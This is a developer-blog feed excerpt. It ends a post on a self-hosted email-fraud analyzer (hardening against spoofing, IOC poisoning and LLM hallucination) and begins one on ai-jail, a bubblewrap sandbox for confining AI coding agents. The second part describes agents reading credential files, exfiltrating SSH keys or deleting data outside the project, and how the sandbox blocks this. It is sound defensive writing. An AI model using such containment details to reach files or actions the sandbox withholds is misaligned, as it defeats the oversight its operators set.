</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">./storage:/rails/storage</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">depends_on</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">app</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">condition</span><span class="p">:</span><span class="w"> </span><span class="l">service_healthy</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">unless-stopped</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>4. Bring it up and register the first user<span class="hx:absolute hx:-mt-20" id="4-bring-it-up-and-register-the-first-user"></span>
    <a href="#4-bring-it-up-and-register-the-first-user" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker compose up -d</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>setup</code> runs the migrations and exits. <code>app</code> brings up Rails, <code>worker</code> processes background jobs, and <code>mail_fetcher</code> polls IMAP every 30 seconds.</p>
<p>To register authorized senders, send an email from your ADMIN_EMAIL to the Frank FBI address with the subject <code>add email1@exemplo.com, email2@exemplo.com</code>. To list who&rsquo;s registered, send with subject <code>list</code>. To see statistics, <code>stats</code>.</p>
<p>From there, any registered sender can forward suspicious emails and receive the analysis reports.</p>
<h2>The development process<span class="hx:absolute hx:-mt-20" id="the-development-process"></span>
    <a href="#the-development-process" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This project started as a simple idea: &ldquo;what if I could forward suspicious emails somewhere and get an analysis back?&rdquo; But security projects aren&rsquo;t like normal projects.</p>
<p>In a regular project, a bug is an inconvenience. In a security project, a bug can be a vulnerability. If the system says a fraudulent email is legitimate, someone might lose money. If it incorrectly reports a legitimate domain as malicious, it can hurt an innocent company. If a malicious email manages to exploit the analyzer itself, the attacker gets access to the server.</p>
<p>That changes the development mindset. Every decision needs to consider: &ldquo;how could a bad actor abuse this?&rdquo;</p>
<h3>Evolution through commits<span class="hx:absolute hx:-mt-20" id="evolution-through-commits"></span>
    <a href="#evolution-through-commits" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Let me show how the project evolved by looking at the most relevant commits.</p>
<p>The project started with the basic email analysis structure and quickly needed access control:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>eb59474 - Add admin access control and allowed senders whitelist
036e9f1 - Harden access control against email spoofing and admin impersonation</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The first one adds the authorized sender list. The second solves the obvious problem: what if someone spoofs an authorized sender&rsquo;s email? The system started verifying SPF/DKIM before accepting any submission. Per-sender rate limiting came along with that, to prevent abuse.</p>
<p>Then came concerns about scoring quality:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>e891270 - Fix zero-dilution scoring bug and add critical alert UX
2cbb272 - Harden fraud scoring and reporting
50d96a1 - Move text pattern detection from regex to LLM consensus layer</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The zero-dilution bug is subtle: when a layer fails and returns score 0 with low confidence, it would dilute the overall average downward, making fraudulent emails look safer than they were. The fix implemented dampening that discards low-quality layers instead of letting them drag the score down.</p>
<p>The shift from regex to LLM in pattern detection was pragmatic. Fraud patterns in natural language are hard to capture with regex. Too many false positives. LLMs understand context and intent in a way regex can&rsquo;t.</p>
<p>Race conditions showed up when the pipeline started running layers in parallel:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>2e4276d - Fix race conditions across pipeline and add Brave Search rate limiting
ac433d9 - Fix WHOIS race condition and Brave Search gzip error logging</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Concurrent jobs trying to write to the same email record, WHOIS queries stepping on each other, external API rate limits getting blown. The classic &ldquo;works in sequential tests, breaks in production.&rdquo;</p>
<p>Preventing LLM hallucination got its own dedicated commit:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>e08da9e - Prevent LLM hallucination in fraud reports</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>LLMs make things up. If the model says &ldquo;this domain was registered yesterday&rdquo; without evidence in the data, the report is compromised. This commit implemented cross-validation: claims from the LLMs are verified against the concrete data from the deterministic layers. If the LLM asserts something that contradicts the facts, the information is dropped or flagged.</p>
<p>And when community reporting was implemented:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>a01d769 - Add community threat intelligence reporting
1b64eee - Harden community reporting against poisoning and add rate limiting</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The first commit implements the feature. The second adds the anti-poisoning protections. If an attacker realizes Frank FBI reports automatically, they can try to send emails that contain IOCs from legitimate companies as &ldquo;fraud,&rdquo; making the system report innocent domains to community databases. That&rsquo;s IOC poisoning, and it&rsquo;s a real attack against threat intelligence systems.</p>
<h3>Continuous hardening<span class="hx:absolute hx:-mt-20" id="continuous-hardening"></span>
    <a href="#continuous-hardening" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>9430c63 - Harden risky attachment analysis and warnings
bdc503d - Harden screenshot capture with failure recovery and pipeline timeout
125e73a - Separate suspect content from submitter signature in forwarded emails
6f7a522 - Handle forwarded message fidelity</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Malicious attachments that could exploit the parser. Site screenshots that could lock up headless Chrome. Sender signatures that were being confused with the content of the suspicious email. Forwarded emails that lost fidelity in the forward. Each of these fixes a different attack vector or edge case.</p>
<p>Security isn&rsquo;t a feature you implement once. It&rsquo;s a continuous process of &ldquo;what didn&rsquo;t I think could go wrong?&rdquo;</p>
<h2>The numbers<span class="hx:absolute hx:-mt-20" id="the-numbers"></span>
    <a href="#the-numbers" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><table>
  <thead>
      <tr>
          <th>Metric</th>
          <th>Value</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Commits</td>
          <td>38</td>
      </tr>
      <tr>
          <td>Hours of work (~)</td>
          <td>17</td>
      </tr>
      <tr>
          <td>Lines of Ruby</td>
          <td>14,616</td>
      </tr>
      <tr>
          <td>Ruby files</td>
          <td>161</td>
      </tr>
      <tr>
          <td>Application code (app/)</td>
          <td>8,217 lines</td>
      </tr>
      <tr>
          <td>Test code (test/)</td>
          <td>5,312 lines</td>
      </tr>
      <tr>
          <td>Test/code ratio</td>
          <td>0.65</td>
      </tr>
      <tr>
          <td>Analysis layers</td>
          <td>6</td>
      </tr>
      <tr>
          <td>Async jobs</td>
          <td>20 classes</td>
      </tr>
      <tr>
          <td>Data models</td>
          <td>9 tables</td>
      </tr>
      <tr>
          <td>Commits/hour</td>
          <td>~2.2</td>
      </tr>
      <tr>
          <td>Lines/hour</td>
          <td>~860</td>
      </tr>
  </tbody>
</table>
<p>860 lines per hour. Obviously AI-assisted development. But look at the hardening commits: none of them came from the LLM suggesting &ldquo;hey, let&rsquo;s protect against spoofing.&rdquo; That was me stopping and thinking &ldquo;wait, what if someone spoofs the authorized sender?&rdquo;, &ldquo;what if an attacker uses IOC poisoning against my reporting system?&rdquo;. The LLM doesn&rsquo;t ask those questions on its own. It implements them when you ask, but the one who has to spot the hole is you.</p>
<h2>A serious warning: DO NOT offer this as a service<span class="hx:absolute hx:-mt-20" id="a-serious-warning-do-not-offer-this-as-a-service"></span>
    <a href="#a-serious-warning-do-not-offer-this-as-a-service" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If you looked at Frank FBI and thought &ldquo;cool, I&rsquo;m going to offer this as a SaaS to other people,&rdquo; I have one piece of advice: <strong>DON&rsquo;T do that</strong>.</p>
<p>I can think of several ways to exploit a service like this offered to the public. The operator would have access to every email forwarded by users — personal information, corporate data, sensitive correspondence. A centralized service becomes a high-value target: compromise the server and you have access to a continuous stream of confidential emails from people who are already in a vulnerable situation.</p>
<p>I know enough people to know that whoever would deploy this as a service wouldn&rsquo;t worry about encryption at rest or about destroying the emails after analysis. And who guarantees that the operator won&rsquo;t read users&rsquo; emails? Nobody. It&rsquo;s the kind of thing that looks like a useful service but in practice creates a honeypot of sensitive data managed by someone with no incentive to protect it.</p>
<p>Frank FBI was built to be self-hosted. To run on your server, under your control, with your data staying with you. Or in your company&rsquo;s infrastructure, managed by your IT team.</p>
<p>And the project is licensed under AGPL-3.0. If you use my code and offer it as a network service, you&rsquo;re legally required to release all the derived code. No exceptions. I picked AGPL for that reason — to make sure nobody takes the project, adds tracking and telemetry, and offers it as a &ldquo;free email verification service&rdquo; while collecting user data behind the scenes.</p>
<p>The <a href="https://github.com/akitaonrails/frank_fbi"target="_blank" rel="noopener">repository is here</a>. AGPL-3.0.</p>
]]></content:encoded><category>frank</category><category>llms</category><category>artificial-intelligence</category><category>security</category></item><item><title>ai-jail: Sandbox for AI Agents — From Shell Script to Real Tool</title><link>https://akitaonrails.github.io/en/2026/03/01/ai-jail-sandbox-for-ai-agents-from-shell-script-to-real-tool/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/03/01/ai-jail-sandbox-for-ai-agents-from-shell-script-to-real-tool/</guid><pubDate>Sun, 01 Mar 2026 14:00:00 -0300</pubDate><description>&lt;p&gt;This post is a direct follow-up to &lt;a href="https://akitaonrails.github.io/en/2026/01/10/ai-agents-locking-down-your-system/"&gt;AI Agents: Locking Down Your System&lt;/a&gt;, where I showed how to use bubblewrap to build a manual jail for your AI agents. If you haven&amp;rsquo;t read it, read it before continuing.&lt;/p&gt;
&lt;p&gt;&amp;ndash;&lt;/p&gt;
&lt;p&gt;In January I published a ~170-line shell script that built a sandbox with bubblewrap to run Claude Code, OpenCode, Crush and any other AI agent. It worked. It solved the problem. But it was a bash script dropped in &lt;code&gt;~/.local/bin/&lt;/code&gt; that you had to copy, paste, and pray you wouldn&amp;rsquo;t need to customize too much.&lt;/p&gt;</description><content:encoded><![CDATA[<p>This post is a direct follow-up to <a href="/en/2026/01/10/ai-agents-locking-down-your-system/">AI Agents: Locking Down Your System</a>, where I showed how to use bubblewrap to build a manual jail for your AI agents. If you haven&rsquo;t read it, read it before continuing.</p>
<p>&ndash;</p>
<p>In January I published a ~170-line shell script that built a sandbox with bubblewrap to run Claude Code, OpenCode, Crush and any other AI agent. It worked. It solved the problem. But it was a bash script dropped in <code>~/.local/bin/</code> that you had to copy, paste, and pray you wouldn&rsquo;t need to customize too much.</p>
<p>Two months of using that script every day showed me its limits. I wanted per-project configuration. I wanted macOS support for the devs on my team. I wanted to stop editing bash arrays every time I needed an extra directory. And I wanted something someone could install with <code>brew install</code> or <code>cargo install</code> in 10 seconds, without reading 170 lines of script.</p>
<p>Result: <a href="https://github.com/akitaonrails/ai-jail"target="_blank" rel="noopener">ai-jail</a>. A Rust tool, ~880KB, 4 dependencies, 124 tests, that does exactly what that script did and more. I&rsquo;ll explain what changed and why you should be using it.</p>
<h2>The Problem (again, for those who skipped the previous post)<span class="hx:absolute hx:-mt-20" id="the-problem-again-for-those-who-skipped-the-previous-post"></span>
    <a href="#the-problem-again-for-those-who-skipped-the-previous-post" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>AI coding agents need access to your filesystem. They need to run compilers, linters, grep, ls, make, cargo, npm. The minimum to be useful. The problem is that along with that access comes the ability to read <code>~/.aws/credentials</code>, exfiltrate your SSH keys, or run an <code>rm -rf</code> outside the project directory.</p>
<p>It isn&rsquo;t paranoia. Supply-chain attacks are real. Every other week some NPM, PyPI or RubyGems lib gets compromised. If the agent runs <code>npm install</code> and a malicious post-install script tries to exfiltrate your data, the only thing between the attacker and your credentials is whatever barrier you set up beforehand.</p>
<p>The answer is a sandbox. Specifically, one that lets the agent work in the project directory with the tools it needs, but makes the entire rest of the system invisible.</p>
<h2>From Script to Tool<span class="hx:absolute hx:-mt-20" id="from-script-to-tool"></span>
    <a href="#from-script-to-tool" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The shell script from the previous post already solved this with bubblewrap. ai-jail solves the same problem, but addresses the limitations that two months of daily use revealed:</p>
<table>
  <thead>
      <tr>
          <th>Shell script</th>
          <th>ai-jail</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Configuration by editing bash arrays</td>
          <td>Per-project <code>.ai-jail</code> TOML file</td>
      </tr>
      <tr>
          <td>Linux only</td>
          <td>Linux + macOS</td>
      </tr>
      <tr>
          <td>Hardcoded GPU/Docker/Display</td>
          <td>Auto-detection with flags to turn things off</td>
      </tr>
      <tr>
          <td>No dry-run</td>
          <td><code>--dry-run --verbose</code> shows everything</td>
      </tr>
      <tr>
          <td>No lockdown</td>
          <td><code>--lockdown</code> for paranoid mode</td>
      </tr>
      <tr>
          <td>Copy/paste to install</td>
          <td><code>brew install</code>, <code>cargo install</code>, <code>mise</code></td>
      </tr>
      <tr>
          <td>No bootstrap</td>
          <td><code>--bootstrap</code> generates permission configs for Claude/Codex/OpenCode</td>
      </tr>
  </tbody>
</table>
<p>The core logic is the same: bubblewrap creates isolated PID, UTS and IPC namespaces, mounts <code>$HOME</code> as an ephemeral tmpfs, and only mounts the project directory with write access. The difference is that all of that is now configurable without editing code.</p>
<h2>Installation<span class="hx:absolute hx:-mt-20" id="installation"></span>
    <a href="#installation" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Four ways:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Homebrew (macOS and Linux)</span>
</span></span><span class="line"><span class="cl">brew tap akitaonrails/tap <span class="o">&amp;&amp;</span> brew install ai-jail
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Cargo</span>
</span></span><span class="line"><span class="cl">cargo install ai-jail
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Mise</span>
</span></span><span class="line"><span class="cl">mise use -g ubi:akitaonrails/ai-jail
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Direct binary from GitHub Releases</span>
</span></span><span class="line"><span class="cl">curl -fsSL https://github.com/akitaonrails/ai-jail/releases/latest/download/ai-jail-linux-x86_64.tar.gz <span class="p">|</span> tar xz
</span></span><span class="line"><span class="cl">sudo mv ai-jail /usr/local/bin/</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>On Linux, bubblewrap needs to be installed separately: <code>pacman -S bubblewrap</code> (Arch), <code>apt install bubblewrap</code> (Debian/Ubuntu), <code>dnf install bubblewrap</code> (Fedora). On macOS no extra dependency is needed.</p>
<h2>Basic Usage<span class="hx:absolute hx:-mt-20" id="basic-usage"></span>
    <a href="#basic-usage" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">cd</span> ~/Projects/my-app
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Run Claude Code inside the sandbox</span>
</span></span><span class="line"><span class="cl">ai-jail claude
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Run Codex</span>
</span></span><span class="line"><span class="cl">ai-jail codex
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Run OpenCode</span>
</span></span><span class="line"><span class="cl">ai-jail opencode
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Plain bash for debugging</span>
</span></span><span class="line"><span class="cl">ai-jail bash
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Any command</span>
</span></span><span class="line"><span class="cl">ai-jail -- python script.py</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>On the first run, it creates an <code>.ai-jail</code> file in the project directory:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="c"># ai-jail sandbox configuration</span>
</span></span><span class="line"><span class="cl"><span class="c"># Edit freely. Regenerate with: ai-jail --clean --init</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">command</span> <span class="p">=</span> <span class="p">[</span><span class="s2">&#34;claude&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nx">rw_maps</span> <span class="p">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="nx">ro_maps</span> <span class="p">=</span> <span class="p">[]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>This file is committable to the repo. When another dev on your team clones the project and runs <code>ai-jail</code>, the same configuration applies.</p>
<p>If you want to add extra directories, you can do it from the CLI or directly in the TOML:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Extra directory with write access</span>
</span></span><span class="line"><span class="cl">ai-jail --rw-map ~/Projects/shared-lib claude
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Extra read-only directory</span>
</span></span><span class="line"><span class="cl">ai-jail --map /opt/datasets claude</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Want to see what the sandbox is going to do without running anything?</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ai-jail --dry-run --verbose claude</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>It shows every mount point, every isolation flag, the full bubblewrap command. No surprises.</p>
<h2>Why Bubblewrap on Linux<span class="hx:absolute hx:-mt-20" id="why-bubblewrap-on-linux"></span>
    <a href="#why-bubblewrap-on-linux" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I evaluated the alternatives before deciding. The <a href="https://github.com/akitaonrails/ai-jail/blob/master/docs/sandbox-alternatives.md"target="_blank" rel="noopener">full analysis document</a> is in the repository, but the short version is:</p>
<p>Bubblewrap (bwrap) is the sandbox Flatpak uses to isolate every desktop app. ~50KB binary, ~4000 lines of C, maintained by the GNOME team. It runs without root using <code>CLONE_NEWUSER</code> to create namespaces without elevated privileges. It&rsquo;s packaged in every relevant Linux distro and tested at scale by millions of Flatpak installations.</p>
<p>I considered and rejected the alternatives. Firejail requires setuid root, and trusting setuid to protect against agents already running on your system is contradictory. nsjail and minijail are designed for production environments (Google uses them internally), too complex for a dev workstation. systemd-nspawn requires root and is meant for system containers, not for isolating a single process.</p>
